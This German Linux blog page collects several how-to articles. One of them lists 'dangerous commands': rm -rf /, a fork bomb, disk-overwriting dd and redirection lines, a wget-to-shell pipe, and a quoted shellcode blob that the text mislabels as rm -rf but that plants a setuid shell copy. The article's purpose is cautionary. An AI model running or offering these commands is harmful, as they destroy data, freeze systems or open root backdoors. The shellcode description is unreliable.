SSD- und M.2-SSD-Festplatten si­cher lö­schen mit “hd­parm”

Me­cha­ni­sche Fest­plat­ten wer­den mit dem Kom­man­do “wipe” si­cher ge­löscht. Doch bei SSD- und M.2-SSD-Festplatten geht es we­sent­lich schnel­ler mit dem Kom­man­do “hd­parm”.

In­halts­ver­zeich­nis

SSD- und M.2-SSD-Festplatten si­cher lö­schen mit “hd­parm” wei­ter­le­sen

Zu­griff von Li­nux auf Smart­pho­ne

An­dro­id ver­bin­den mit De­bi­an, die­se Pro­ze­dur habe ich er­folg­reich auf “Debian”-Testing zu ei­nem Smart­pho­ne mit “An­dro­id” Ver­si­on 6 an­wen­den kön­nen. Es wur­de der ge­sam­te Te­le­fon­spei­cher im Da­tei­ma­na­ger sicht­bar. Es müss­te dem­nach auch un­ter den ver­schie­de­nen Ubun­tus, Li­nux-Mint und alle wei­te­ren De­bi­an-Forks funk­tio­nie­ren.

In­halts­ver­zeich­nis

Zu­griff von Li­nux auf Smart­pho­ne wei­ter­le­sen

De­bi­an Net-In­stal­la­ti­on

Bei­spiel mit Res­sour­cen­scho­nung und Be­nut­zer­freund­lich­keit, denn bei­des muss sich nicht aus­schlie­ßen.

In­halts­ver­zeich­nis

  1.  Ein­lei­tung
  2. In­stal­la­ti­ons­vor­aus­set­zun­gen für De­bi­an mit XFCE4
  3. Down­load
  4. Hash-Prü­fung
  5. Da­ten­trä­ger er­stel­len
  6. Boot­me­di­um star­ten
  7. In­stal­la­ti­on
  8. Kon­fi­gu­ra­ti­on der Be­nut­zer­freund­lich­keit
  9. Fein­tu­ning
  10. An­hang Pro­gramm­über­sicht
  11. Nach­wort
De­bi­an Net-In­­stal­la­­ti­on wei­ter­le­sen

Ge­fähr­li­che Be­feh­le, Li­nux-Bom­­ben


In­halts­ver­zeich­nis

Vor­wort
1. rm
2. rm -rf in he­xa­de­zi­mal
3. Fork­bomb
4. Copy und Pas­te
5. De­vice Null
6. Ope­ra­to­ren
7. WGET
8. dd
9. Wei­te­re Be­feh­le
Fa­zit
Quel­len


Vor­wort

Vor­sicht, nur in vir­tu­el­len Ma­schi­nen tes­ten! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine vir­tu­el­le Ma­schi­ne in­stal­liert und mehr­fach ko­piert.


1. rm

Die be­kann­tes­te Li­nux-Bom­be ist wohl “rm”, denn es wird oft ver­ges­sen den kom­plet­ten Pfad an­zu­ge­ben, auch wenn man in ei­nem Un­ter­ver­zeich­nis ist, denn die­ser Be­fehl geht über die Wur­zel. Und es ist auch hoch be­zahl­ten Ad­mins schon pas­siert.

sudo rm -rf /

Die­ser Be­fehl löscht ohne Nach­fra­ge re­kur­siv al­les ab Wur­zel­ver­zeich­nis. Al­les heißt, alle ein­ge­häng­te Lauf­wer­ke und auch alle Netz­lauf­wer­ke.
Funk­tio­niert tod­si­cher! Aber nicht un­ter dem Ubun­tu, dort wird eine War­nung aus­ge­ge­ben.
Ge­gen­maß­nah­me
Ein Fall­strick kann “safe-rm” sein. Es soll vor un­be­ab­sich­tig­ten lö­schen hel­fen. Wer sich aber dar­an ge­wöhnt und auf ei­nen anderen/neuen Rech­ner kein “safe-rm” in­stal­liert hat, dann ist “rm” ist sei­ner Ge­walt nicht zu brem­sen.
An­sons­ten hilft auch kein be­ten.
Quel­le
Wei­te­res in je­dem Li­nux-Hand­buch und je­der Unix-Be­fehls­re­fe­renz.


2. rm -rf in he­xa­de­zi­mal

Ist ge­nau­so schäd­lich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Un­ter Ubun­tu müss­ten dazu die Pa­ke­te re­lease und bikes­hed in­stal­liert sein. Hat bei mir un­ter Ubun­tu nicht funk­tio­niert.


3. Fork­bomb

Rech­ner aus­las­ten mit Hin­ter­grund­ak­ti­vi­tät und da­mit die CPU mal rich­tig heiß wird und sich selbst aus­lö­tet.

:(){ :|:& };:

Funk­ti­on die de­fi­niert wird, hier “:()”, ruft sich selbst als Hin­ter­grund­ak­ti­vi­tät auf und über­gibt sich wie­der neu und so wei­ter, also eine ty­pi­sche Fork­bomb. Funk­tio­niert un­ter Ubun­tu. Bös­ar­tig, es wird am An­fang nicht gleich wahr­ge­nom­men und Sys­tem­mo­ni­to­re, wie “Con­ky”, zei­gen durch die 100% aus­ge­las­te­te CPU kei­ne Ver­än­de­run­gen an.
Ge­gen­maß­nah­me
Schutz gibt es, wenn die Da­tei “/etc/security/limits.conf” dem ent­spre­chend edi­tiert wird.


4. Copy und Pas­te

Das In­ter­net hilft bei vie­len Ge­le­gen­hei­ten, aber er­setzt nicht das ei­ge­ne Den­ken. Ko­pie­ren und Ein­fü­gen kann ge­fähr­lich sein. Hin­ter ei­ner harm­lo­sen Ein­ga­be wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­ste­cken.
Ge­gen­maß­nah­me
Vor­sichts­hal­ber in ein Edi­tor ein­fü­gen, hilft aber auch nicht im­mer :-)


5. De­vice Null

Das Ge­rät Null ist tat­säch­lich ent­stan­den um Da­ten, die als un­wich­tig gel­ten, in das Nichts zu sen­den.
Doch fol­gen­de Be­fehls­zei­le löscht das ge­sam­te /home-Ver­zeich­nis des an­ge­mel­de­tem Be­nut­zers.

mv ~ /dev/null

In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Nach­den­ken, was soll eine Til­de, also das /home-Ver­zeich­nis, mit Null zu tun ha­ben!


6. Ope­ra­to­ren

Ger­ne nut­ze ich das Kom­man­do “ls > Verzeichnis.txt” um mir den In­halt ei­nes Ver­zeich­nis als Text­da­tei ab­zu­le­gen. Und bei Än­de­run­gen lege ich mit dem dop­pel­ten Ope­ran­den “ls » Verzeichnis.txt” in der sel­ben Da­tei am Ende nach.

ls > /dev/sda

Wird aber die­ser Be­fehl aus­ge­führt über­schreibt er die ge­nann­te Fest­plat­te mit sich selbst. Statt “ls” könn­te auch ein an­de­rer Be­fehl ge­nom­men wer­den, die Aus­wir­kung ist gleich, da hier der Ope­rand den Feh­ler aus­übt. In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Im­mer erst in ei­ner vir­tu­el­len Ma­schi­ne sol­che Kom­man­dos prü­fen.


7. WGET

Ist die­sel­be Be­quem­lich­keit wie ko­pie­ren und ein­fü­gen. Ein Script wird im Netz zur Ver­fü­gung ge­stellt und nun kann man es ein­fach durch die Shell aus­füh­ren, mit Ver­hin­de­rung von wich­ti­gen In­for­ma­tio­nen.

wget http://webseite.com -q | sh

Nur, ob die Be­schrei­bung des Skrip­tes mit dem tat­säch­li­chem In­halt über­ein­stimmt, ist hier nicht plau­si­bel er­wie­sen.
Hat in mei­ner Ubun­tu-In­stal­la­ti­on nicht funk­tio­niert.
Ge­gen­maß­nah­me
Durch “quiet” ist es noch nicht mal mög­lich die Ge­fahr zu ban­nen, zum Bei­spiel mit “Strg+c”.


8. dd

Die­ses Kom­man­do ist zum Ko­pie­ren ge­dacht. Hier ist Miss­brauch mög­lich, um Da­ten­trä­ger zu über­schrei­ben.

dd if=/dev/urandom of=/dev/sda

An die­sem Bei­spiel wer­den Zu­falls­zah­len auf die ge­sam­te Fest­plat­te ge­schrie­ben und so­mit der vor­han­de­ne In­halt ge­löscht.
Ge­gen­maß­nah­me
Da hab ich es mit Nel­son -> “Haha”.


9. Wei­te­re Be­feh­le die vor­sich­tig an­ge­wen­det wer­den soll­ten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht ge­tes­tet, er­schei­nen aber lo­gisch.

sudo chmod 000 -R /

Rech­te wer­den re­kur­siv ent­zo­gen oder kei­ne er­teilt wie man´s sieht. Da­ten blei­ben aber er­hal­ten.
Mit um­ask wä­ren si­cher­lich auch sol­che Spiel­chen mög­lich.

touch root
sudo chattr +i root

Da­tei mit +i un­ver­än­der­lich set­zen

sudo chattr -i root

At­tri­but wie­der ent­fer­nen


10. Fa­zit

Das sind wohl ei­ni­ge der be­kann­tes­ten Fall­gru­ben. Trotz­dem soll­te bei an­ge­bo­te­ner Hil­fe das ei­ge­ne Den­ken die ers­te Hür­de sein und ein ge­sun­des Maß an Miss­trau­en, ob an­de­re nicht auch Flüch­tig­keits­feh­ler ma­chen, wäre an­ge­bracht.


Quel­len

Li­nux-Hand­buch von Ko­f­ler, Gal­li­leo-Ver­lag
Unix-Be­fehls­re­fe­ren­zen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Rol­ling Re­lease — mei­ne Er­fah­run­gen

Ist er schon wahr ge­wor­den oder sind da Hür­den?
Jah­re­lang ver­su­che ich ein Rol­ling Re­lease pro­duk­tiv zu nut­zen, aber es ge­lingt mir nicht ohne er­heb­li­che Auf­wen­dun­gen. Also war es eine bis­her er­folg­lo­se Su­che nach dem idea­lem Sys­tem.

Hier ein Er­fah­rungs­be­richt vom Ja­nu­ar 2018.

In­halts­ver­zeich­nis

Rol­ling Re­lease — mei­ne Er­fah­run­gen wei­ter­le­sen

/home um­zie­hen oder Woh­nungs­wech­sel

Pro­blem
Die alte Par­ti­ti­on oder die alte Fest­plat­te ist zu klein ge­wor­den für die eig­nen Da­ten. Oder eine schnel­le ssd-Fest­plat­te soll jetzt das neue zu Hau­se wer­den.

Lö­sung
Um­zug des /home-Ver­zeich­nis auf eine zu­sätz­lich Par­ti­ti­on oder/und Fest­plat­te ohne Neu­in­stal­la­ti­on des be­stehen­den Sys­tem.


In­halts­ver­zeich­nis

Vor­wort
1. Vor­be­rei­tun­gen
2. In der Kon­so­le ar­bei­ten
3. Neue /home-Par­ti­ti­on ein­hän­gen
4. Da­tei­en vom al­ten /home in das neue /home-Ver­zeich­nis ko­pie­ren
5. Al­tes /home-Ver­zeich­nis lö­schen
6. Neu­es /home-Ver­zeich­nis zum boo­ten ein­tra­gen
7. re­boot
Quel­len


Vor­wort

Die­ser Ar­ti­kel gilt für Ubun­tu-De­ri­va­te, für an­de­re De­bi­an-ba­sie­ren­den Dis­tros sind teil­wei­se an­de­re Vor­ge­hens­wei­sen nö­tig, bei­spiels­wei­se statt sudo, dann su, wenn man selbst nicht als su­do­er ein­ge­tra­gen ist.
Zu be­ach­ten ist, dass hier alle Be­nut­zer von /home, au­ßer root, um­zie­hen.
Zu be­ach­ten sind au­ßer­dem alle Schräg­stri­che, An­füh­rungs­zei­chen und sons­ti­ge No­ti­fi­ka­tio­nen; wird ein Zei­chen zu viel oder zu we­nig ge­setzt, wird der Be­fehl nicht oder so­gar falsch aus­ge­führt, was bei­spiels­wei­se bei dem Be­fehl

rm

ver­hee­rend sein kann.


1. Vor­be­rei­tun­gen

1.1. Zu­erst den Spei­cher­platz
von /home er­mit­telt mit
Ter­mi­nal­ein­ga­be:

du -sh /home

Ter­mi­nal­aus­ga­be:

548G	/home

Eine gra­fi­sche Lö­sung wäre “gno­me-disk-uti­li­ty”.
1.2. Nun ein Back­up
für un­vor­her­ge­se­hen Er­eig­nis­se oder ge­plan­tes Wie­der­her­stel­len durch­füh­ren, das Pro­gramm „grsync“ wäre eine gra­fi­sche Lö­sung. Nicht die “ver­steck­ten” Da­tei­en und Ver­zeich­nis­se ver­ges­sen, die­se be­gin­nen mit ei­nem Punkt im Na­men.
1.3. Dann eine neue oder lee­re Par­ti­ti­on
, mit ge­wünsch­ter Grö­ße auf vor­han­de­ner oder zu­sätz­li­cher Fest­plat­te er­stel­len, das Pro­gramm „gpar­ted“ wäre eine gra­fi­sche Lö­sung. Die Grö­ße soll­te min­des­tens dem Spei­cher­platz der bis­he­ri­gen Spei­cher­grö­ße und zu­sätz­lich 20% sein, we­gen der tem­po­rä­ren Ver­zeich­nis­se.


2. In der Kon­so­le ar­bei­ten

2.1. Für ein feh­ler­frei­es Ar­bei­ten­wird jetzt die gra­fi­sche Ober­flä­che ver­las­sen mit ei­ner Tas­ten­kom­bi­na­ti­on.

Strg+Alt+F1 # bis F6

2.2. Log­in mit ei­ge­nem Be­nut­zer­na­men und dem da­zu­ge­hö­ri­gem Pass­wort.
2.3. Ad­mi­nis­tra­ti­ve root-Rech­te für die nach­fol­gen­den Be­feh­le ho­len und auf die obers­te Ebe­ne “/” ge­hen.

sudo -s
cd /

3. Neue /home-Par­ti­ti­on ein­hän­gen

3.1. Eine de­tail­rei­che Über­sicht der be­stehen­den Por­tio­nen und Fest­plat­ten ho­len.

fdsik -l

3.2. Die Be­zeich­nung der neu­en Par­ti­ti­on no­tie­ren, etwa wie folgt und hier im wei­te­rem als Bei­spiel ver­wen­det.

sda3

3.3. Nun ein tem­po­rä­ren Ver­zeich­nis er­stel­len.

mkdir /mnt/tmp

3.4. Die­se Ver­zeich­nis in der neu­en /home-Par­ti­ti­on moun­ten.

mount /dev/sda3 /mnt/tmp

4. Da­tei­en vom al­ten /home in das neue /home-Ver­zeich­nis ko­pie­ren

4.1. Ein ex­ak­tes ko­pie­ren mit Prü­fung

rsync -avx --progress /home/ /mnt/tmp

4.2. oder schnel­ler ko­pie­ren.

cp -avx /home/* /mnt/tmp

4.3. Die neue Par­ti­ti­on wird jetzt moun­ten.

mount /dev/sda3 /home

4.4. Die neue Par­ti­ti­on über­prü­fen.

du -sh /home; mount|grep /home

Die Aus­ga­be soll­te etwa so aus­se­hen.

548G	/home
dev/sda3 on /home type ext4 (rw)

5. al­tes /home-Ver­zeich­nis lö­schen

5.1. Ich gehe da­von aus, dass das Back­up er­stellt wur­de :-)
5.2. Nun das alte /home-Ver­zeich­nis un­moun­ten.

umount /home

5.3. jetzt kann es re­kur­siv ge­löscht wer­den.

rm -rf /home/*

6. neu­es /home-Ver­zeich­nis zum boo­ten ein­tra­gen

6.1. Die Iden­ti­fi­ka­ti­on der /home-Par­ti­ti­on er­mit­teln.

blkid

Hier eine bei­spiel­haf­te Aus­ga­be.

/dev/sda1: UUID="xxx-x … x-123" TYPE="ext4" PARTUUID="0815-01"
/dev/sda2: UUID="xxx-x … x-345" TYPE="ext4" PARTUUID="0815-02"
/dev/sda3: UUID="xxx-x … x-678" TYPE="ext4" PARTUUID="0815-03"

6.2. Nun die iden­ti­fi­zier­te Par­ti­ti­on­zu­sätz­lich in die Da­tei “/etc/fstab” am Ende ein­tra­gen mit Hil­fe ei­nes Kon­so­len­edi­tors wie „vi“, „vim“ oder „nano“ als be­nut­zer­freund­lichs­tem.

nano /etc/fstab

6.3. Der zu­sätz­li­che Bei­spiel­ein­trag sehe wie folgt aus.

# /dev/sda3 Die Raute zeigt diesen Text als hilfreichen Kommentar.
UUID=xxx-x … x-678  /home   ext4   defaults   0 2
Bitte eine Leerzeile am Ende belassen.

Spei­chern in “nano”, “O” ist ein Buch­sta­be.

Strg+O

Und “Nano” be­en­den.

Strg+X

7. re­boot

reboot

Quel­len

Pra­xis: Die­se An­lei­tung wur­de prak­tisch und mit Er­folg an­ge­wen­det.
In­spi­ra­ti­on: https://wiki.ubuntuusers.de/Home_umziehen/
Bild: Frank Ro­sen­ber­ger

Was ist in Win­dows und Li­nux gleich?


1 Vor­wort

Wenn hier zu glei­chem oder ähn­li­chem zwi­schen Win­dows und Li­nux ge­spro­chen wird, so be­zieht sich das bei Li­nux meist auf eine von meh­re­ren Mög­lich­kei­ten oder Op­tio­nen. Wo­ge­gen bei Win­dows es oft nur je­weils eine vor­han­de­ne Si­tua­ti­on exis­tiert.
„Li­nux“ be­trifft in die­sem Ar­ti­kel die Li­nux-Dis­tri­bu­ti­on. Li­nux-Dis­tri­bu­tio­nen sind Zu­sam­men­stel­lun­gen von ei­nem Li­nux-Ker­nel, dem ei­gent­li­chem Be­triebs­sys­tem, ei­ner gra­fi­schen Be­nut­zer­schnitt­stel­le so­wie ein ab­ge­stimm­tes Port­fo­lio von all­ge­mein be­kann­ten Pro­gram­me oder wich­ti­ger All­tags­hel­fer. Auf den Un­ter­schied von Li­nux-Ker­nel und Li­nux-Dis­tri­bu­ti­on wird hier nicht wei­ter ein­ge­gan­gen.
Als Bei­spie­le die­nen hier „Win­dows 7 Home Pre­mi­um“ und „Xu­bun­tu 16.04 LTS“ die un­we­sent­lich mo­di­fi­ziert sind, bei­spiels­wei­se wer­den kei­ne Hin­ter­grund­bil­der ge­nutzt, we­gen der bes­se­ren Do­ku­men­ta­ti­on.


2 Grund­sätz­li­ches


2.1 Com­pu­ter

Ge­ne­rell kann man sa­gen, das auf je­dem PC Win­dows als auch Li­nux läuft, au­ßer in sel­te­nen Aus­nah­men in de­nen der Her­stel­ler das un­ter­bin­det. Zu­dem läuft Li­nux auf vie­len wei­te­ren Com­pu­ter­platt­for­men und als em­bed­ded Sys­tem. „Ein­ge­bet­te­te Sys­te­me“ sind sehr klein ge­hal­te­ne Be­triebs­sys­te­me in Ge­rä­ten für den Haus­halt, die Mul­ti­me­dia­nut­zung so­wie Ge­rä­te und Au­to­ma­ten der In­dus­trie und Wis­sen­schaft.


2.2 Gra­fi­sche Be­nut­zer­ober­flä­che

Die gra­fi­sche Be­nut­zer­ober­flä­che be­steht aus heu­ti­ger Sicht aus dem Desk­top, ei­nem Fens­ter­sys­tem oder/und dem Fens­ter­ma­na­ger. Die­se Kom­bi­na­ti­on der gra­fi­schen Sys­te­me er­mög­licht das Ar­bei­ten mit Zei­ge­sys­te­me, wie der Maus und der Kom­bi­na­ti­on von Tas­ta­tur und Maus.
Un­ter Win­dows sind die­se Be­stand­tei­le sehr mo­no­li­thisch zu­sam­men­ge­setzt. Li­nux bie­tet die Mög­lich­keit den Desk­top und das Fens­ter­sys­tem, be­zie­hungs­wei­se dem Fens­ter­ma­na­ger, nach ei­ge­nem Wil­len zu wech­seln oder zu kom­bi­nie­ren.


2.3 Maus und Tas­ta­tur

Bei­de Be­triebs­sys­tem kön­nen mit der Maus und der Tas­ta­tur be­dient wer­den, oder ih­ren Äqui­va­len­zen, wie Touch­pad oder ka­pa­zi­ti­ven Bild­schir­men.


2.4 Trei­ber

Bei neu ge­kauf­tem Windows-PC´s, liegt in der Re­gel eine Trei­ber-CD-ROM bei und un­ter Li­nux wer­den die Trei­ber in den Re­po­si­to­ri­en meist mit­ge­lie­fert. Zu­min­dest sind für bei­de Sys­te­me sehr vie­le Trei­ber von all­ge­mein ge­nutz­ter Hard­ware vor­han­den.


3 Be­die­nung


3.1 Desk­top / Schreib­tisch

Das of­fen­sicht­lichs­te bei Win­dows ist der Desk­top mit Ar­beits­platz, Pa­pier­korb und „Ei­ge­ne Da­tei­en“. Die meis­ten der be­kann­ten Li­nux-Dis­tri­bu­tio­nen, wer­den mit ei­ner gra­fi­schen Be­nut­zer­schnitt­stel­le aus­ge­lie­fert, die auch das Da­tei­sys­tem, den Pa­pier­korb und den „Per­sön­li­cher Ord­ner“ an­zei­gen kön­nen. Wo­bei Li­nux auch ohne gra­fi­sche Be­nut­zer­schnitt­stel­le aus­kommt und das sehr gut.

Das obe­re Bild von Win­dows und das un­te­re Bild von Li­nux.


3.2 Tas­kleis­te

Die Tas­kleis­te kann bei bei­den Sys­te­men sehr ähn­lich be­dient wer­den, mit fest­set­zen oder aus­blen­den der Tas­kleis­te so­wie An­zei­gen des Haupt­me­nü­knop­fes und den ge­öff­ne­ten An­wen­dun­gen. In bei­den Sys­te­men kann dort die Laut­stär­ken­re­gu­lie­rung vor­ge­nom­men wer­den.

Das obe­re Bild von Win­dows und das un­te­re Bild von Li­nux.


3.3 Be­nach­rich­ti­gungs­feld

Win­dows und die gra­fi­schen Li­nux-Dis­tri­bu­tio­nen be­sit­zen bei­de ein Be­nach­rich­ti­gungs­feld auf der Task­leiste das dort rechts an­ge­ord­net ist. Dort wird bei bei­den zum Bei­spiel die Uhr­zeit, das Da­tum, die Netz­ver­bin­dun­gen, die Laut­stär­ke­re­ge­lun­gen und ak­tu­el­le Mel­dun­gen, wie ein­ge­hen­de E-Mails oder der Wech­sel der ab­ge­spiel­ten Mu­sik­ti­tel, an­ge­zeigt. Sie­he Bild­schirm­fo­tos zu 3.2. Ein klei­ner Un­ter­schied be­steht dar­in, das un­ter Li­nux al­les et­was aus­führ­li­cher ist.


3.4 Da­tei­ma­na­ger

Was un­ter Win­dows der „Ex­plo­rer“ ist, hat un­ter Li­nux ver­schie­den Na­men, aber in je­dem Fall sind es auch Da­tei­ma­na­ger mit viel­fäl­ti­gen Mög­lich­kei­ten. Es wer­den Ver­zeich­nis­se und Da­tei­en dar­ge­stellt und auf Wunsch mit Vor­schau­bil­der.
Un­ter Li­nux ist al­les eine Da­tei, auch Ver­zeich­nis­se und Ge­rä­te, was das Li­nux-Sys­tem ro­bus­ter macht. Aber in der Dar­stel­lung sind bei­de Sys­tem sehr gleich­ar­tig.

Das obe­re Bild von Win­dows und das un­te­re Bild von Li­nux.


3.5 Fens­ter­steue­rung

Die Fens­ter­steue­rung mit den Schal­tern „Mi­ni­mie­ren“, „Re­la­ti­vie­ren“ und „Ma­xi­mie­ren“ sind äqui­va­lent. Trotz­dem kann auch hier Li­nux mit Mehr­wert punk­ten, wie dem Ein­rol­len auf bis auf die Ti­tel­leis­te.
Das Ver­schie­ben der Fens­ter mit fest­ge­hal­te­ner Ti­tel­leis­te kön­nen auch bei­de Sys­te­me. Un­ter Li­nux kann zu­sätz­lich bei nicht mehr zu se­hen­der Ti­tel­leis­te auch mit der ge­drück­ten „Alt“-Taste, für al­ter­na­ti­ve Be­die­nung, das Fens­ter ver­scho­ben wer­den.

Das obe­re Bild von Win­dows und das un­te­re Bild von Li­nux.


3.6 Fens­ter­me­nüs

Win­dows und Li­nux-Dis­tri­bu­ti­on ken­nen bei­de das „Fens­ter­me­nü“. Die in bei­den Fäl­len oft auch mit der Tas­ta­tur be­dient wer­den kön­nen. Die Be­die­nung der Me­nüs über die Tas­ta­tur wer­den oft über die Steue­rungs­tas­te „STRG“, der al­ter­na­ti­ven Be­die­nungs­tas­te „ALT“, der Druck­tas­te „DRUCK“ in Kom­bi­na­ti­on mit an­de­ren Tas­ten ge­nutzt. Die Funk­ti­ons­tas­ten wie „F1“ für Hil­fe und „F11“ für Voll­bild ste­hen in bei­den Sys­te­men lei­der nicht in al­len Pro­gram­men zur Ver­fü­gung.

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3.7 Kom­man­do­zei­le, auch CLI für Com­mand Line In­ter­face

Der Kom­man­do­zei­len­in­ter­pre­ter un­ter Win­dows ist das „cmd“ und Li­nux be­sitzt viel­fäl­ti­ge „Ter­mi­nals“. Das „Ter­mi­nal“ ist ein mäch­ti­ges Werk­zeug ist, es hat die Schlag­kraft ei­ner Nu­kle­ar­waf­fe!
Mit der „PowerS­hell“ hat­te Mi­cro­soft ver­sucht den Un­ter­schied zum Li­nux-Ter­mi­nal zu be­he­ben.

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3.8 Meh­re­re Be­nut­zer und Mul­ti­user, als gleich­zei­ti­ge Be­nut­zer

Un­ter Win­dows kön­nen meh­re­re Be­nut­zer an­ge­legt wer­den, wo­bei ein Be­nut­zer ak­ti­viert wer­den kann. Der Li­nux-Ker­nel ist ein ech­tes Mul­ti­user-Be­triebs­sys­tem, also meh­re­re Be­nut­zer kön­nen gleich­zei­tig pro­duk­tiv sein, da­her auch der Be­griff „Ter­mi­nal“ für CLI, den Kom­man­do­zei­len­in­ter­pre­ter.


3.9 Ei­ge­ne Da­tei­en

Win­dows bie­tet das Ver­zeich­nis „Ei­ge­ne Da­tei­en“ zum Ab­le­gen von selbst er­stell­ten Ver­zeich­nis­sen und Da­tei­en.
• Desk­top
• Down­loads
• Ei­ge­ne Bil­der
• Ei­ge­ne Do­ku­men­te
• Ei­ge­ne Mu­sik
• Ei­ge­ne Vi­de­os
• Fa­vo­ri­ten
• Ge­spei­cher­te Spie­le
• Kon­tak­te
• Links
• Such­vor­gän­ge

Un­ter Li­nux be­steht das ex­klu­si­ve „/home“-Verzeichnis für je­den Be­nut­zer, da­her muss nicht mit „ei­ge­ne“ be­zeich­net wer­den, mit den schon an­ge­leg­ten Ver­zeich­nis­sen:
• Bil­der
• Do­ku­men­te
• Down­loads
• Mu­sik
• Öf­fent­lich
• Schreib­tisch
• Vi­de­os
• Vor­la­gen
Er­fah­rungs­ge­mäß wird un­ter Win­dows aber wild durch­ein­an­der ge­spei­chert, wo­ge­gen un­ter Li­nux et­was mehr Dis­zi­plin herrscht durch die stren­ge Hier­ar­chie der Rech­te­ver­wal­tung.

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3.10 Taskma­na­ger

Die Kon­trol­le über lau­fen­de An­wen­dun­gen, Diens­te, CPU-Aus­las­tung und Netz­werk-Aus­las­tung, be­sit­zen Win­dows ge­nau­so wie Li­nux.

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3.11 Kon­text­me­nü

Bei­de Sys­tem ken­nen das Kon­text­me­nü, rech­te Maus auf das Ob­jekt mit auf das Ob­jekt be­zo­ge­nen Be­feh­len, zur Er­hö­hung der Pro­duk­ti­vi­tät. Auf der Tas­ta­tur gibt es ne­ben der rech­ten STRG-Tas­te, die Steue­rungs-Tas­te, auch eine Kon­text­me­nü-Tas­te die bei­de Sys­te­me er­ken­nen.
Menü-Tas­te

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3.12 Tas­ta­tur­be­feh­le

Win­dows be­herrscht nur we­ni­ge Tas­ta­tur­be­feh­le, kann aber mit Fremd­pro­gram­men auf­ge­wer­te­te wer­den. Li­nux kann mit sehr vie­len Tas­ta­tur­be­feh­len um­ge­hen und sehr schnel­le so­wie sehr um­fang­rei­che Tä­tig­kei­ten aus­füh­ren.
Be­kann­te Tas­ten­kom­bi­na­tio­nen in bei­den Sys­te­men:
STRG + c, Ko­pie­ren
STRG + x, Aus­schnei­den
STRG + v, Ein­fü­gen
ALT + F4, Fens­ter schlie­ßen
• Druck, Bild­schirm­fo­to des ge­sam­ten Desk­top
ALT + Druck, Bild­schirm­fo­to des ak­ti­ven Fens­ters
• Kon­text­me­nü-Tas­te, auf­ru­fen des Kon­text­me­nüs zum aus­ge­wähl­tem Ob­jekt
• und wei­te­re.


3.13 Sys­tem­steue­rung / Ein­stel­lun­gen

Auch die Zen­tra­le für die Com­pu­ter­steue­rung und Com­pu­ter­ein­stel­lun­gen ist in bei­den Sys­tem sehr ähn­lich.

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4 Soft­ware


4.1 Edi­tor

Bei­de Sys­te­me lie­fern ei­nen Text­edi­tor mit. Un­ter Li­nux be­herr­schen Edi­to­ren aber eine we­sent­li­che grö­ße­re Band­brei­te von Edi­tier- und Syn­tax-Mög­lich­kei­ten.

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4.2 Stan­dard­pro­gram­me der Be­triebs­sys­te­me

Zu den stan­dard­mä­ßi­gen Pro­gram­men in bei­den Sys­te­men ge­hört ne­ben den schon er­wähn­ten Edi­tor und den Kom­man­do­zei­len­in­ter­pre­ter auch der so­ge­nann­te „Ta­schen­rech­ner“.

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4.3 Be­kann­te An­wen­dungs­pro­gram­me

Fol­gen­de Pro­gram­me die un­ter Win­dows eine wei­te Ver­brei­tung be­sit­zen, sind bei Li­nux oft vor­in­stal­liert:
• Fire­fox, der Web­brow­ser
• Thun­der­bird, der E-Mail-Cli­ent,
• Libre­Of­fice, die Of­fice-Sui­te,
• VLC-Play­er, der Me­dia­play­er und
• Gimp, das Foto- und Bild­be­ar­bei­tungs­pro­gramm.
Wei­te­re Pro­gram­me die un­ter Win­dows ge­nutzt wer­den und un­ter Li­nux na­tiv ar­bei­ten, sind:
• 7Zip, das uni­ver­sel­le Kom­pri­mie­rungs­pro­gramm
• Bleach­bit, das Be­rei­ni­gungs­pro­gramm
• Fi­le­zil­la, das FTP-Pro­gramm und
• Ink­scape, das gra­fi­sche Vek­to­ren­pro­gramm.
Wei­te­re ähn­li­che Pro­gram­me sind:
• ver­schie­de­ne klei­ne Spie­le wie So­li­tär oder Mah­jongg
• PDF-Be­trach­ter,
• Bild-Be­trach­ter,
CD- und DVD-Brenn­pro­gramm,
• Scan­ner-Pro­gramm,
• Mes­sen­ger und
• Tor­rent-Pro­gramm und wei­te­re 70.000 Pro­gram­me.

4.4 Vi­ren­scan­ner

Un­ter Li­nux ka­Be­kann­te An­wen­dungs­pro­gram­menn nach­träg­lich ein Vi­ren­scan­ner, „Cla­mAV“, mit der gra­fi­schen Schnitt­stel­le „ClamTK“ in­stal­liert wer­den, um Win­dows-An­wen­der zu schüt­zen, zum Bei­spiel bei Ret­tungs­ak­tio­nen und E-Mail-An­hän­gen.


5 Nach­trag


5.1 Bil­der

Die Bild­schirm­fo­tos wur­den alle von mir selbst er­stellt und kön­nen aus dem Do­ku­ment ent­nom­men wer­den. Die Vek­to­ren­zeich­nun­gen wur­den von mir selbst er­stellt, au­ßer dem Tux.
Der Tux ist von hier https://commons.wikimedia.org/wiki/File:Tux.svg.